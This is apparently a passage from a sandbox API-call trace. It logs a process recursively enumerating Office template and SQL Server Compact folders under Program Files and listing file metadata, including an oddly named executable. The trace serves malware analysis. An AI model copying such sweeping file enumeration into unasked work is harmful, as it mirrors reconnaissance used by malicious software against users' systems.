ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="EVENTS~1.ACC")) returned 1 [0043.538] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.540] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.540] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bae3a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="1RIGHT~1.ACC")) returned 1 [0043.540] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.541] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.541] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="PROJEC~1.ACC")) returned 1 [0043.541] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.541] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.541] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1353a200, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x377c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="107.accdt", cAlternateFileName="107~1.ACC")) returned 1 [0043.541] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.541] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.541] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 0 [0043.541] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.541] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0043.541] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0043.543] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0043.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.545] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.545] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityFax.Dotx", cAlternateFileName="EQUITY~1.DOT")) returned 1 [0043.545] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.546] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0043.546] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiveRules.potx", cAlternateFileName="FIVERU~1.POT")) returned 1 [0043.546] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0043.546] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.546] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.546] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0043.546] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.546] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0470 [0043.547] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.547] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="NOTEBO~1")) returned 1 [0043.547] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fc38a8 [0043.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0330 [0043.548] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.548] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="NOTEBO~1.ONE")) returned 1 [0043.548] FindClose (in: hFindFile=0x3ec0330 | out: hFindFile=0x3ec0330) returned 1 [0043.548] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.548] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0043.548] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fc38a8 [0043.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0330 [0043.549] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.549] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE", cAlternateFileName="")) returned 1 [0043.549] FindClose (in: hFindFile=0x3ec0330 | out: hFindFile=0x3ec0330) returned 1 [0043.549] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.549] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0043.549] FindClose (in: hFindFile=0x3ec0470 | out: hFindFile=0x3ec0470) returned 1 [0043.549] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.549] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0043.549] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.549] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0043.551] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielLetter.Dotx", cAlternateFileName="ORIELL~1.DOT")) returned 1 [0043.552] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.552] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4b0000) returned 1 [0043.552] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0043.552] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0043.552] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.553] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.553] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1 [0043.553] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.553] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4b0000) returned 1 [0043.553] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0043.553] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0043.553] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0043.553] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0043.553] FindClose (in: hFindFile=0x3ec00b0 | out: hFindFile=0x3ec00b0) returned 1 [0043.553] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec1058 | out: hHeap=0x4b0000) returned 1 [0043.554] FindNextFileW (in: hFindFile=0x3ec0070, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0043.554] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0043.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00b0 [0043.554] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.554] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e9c50, ftCreationTime.dwHighDateTime=0x1d4f231, ftLastAccessTime.dwLowDateTime=0xa7482130, ftLastAccessTime.dwHighDateTime=0x1d4bf2e, ftLastWriteTime.dwLowDateTime=0xa7482130, ftLastWriteTime.dwHighDateTime=0x1d4bf2e, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="expenseselsewhere.exe", cAlternateFileName="EXPENS~1.EXE")) returned 1 [0043.554] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0043.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, 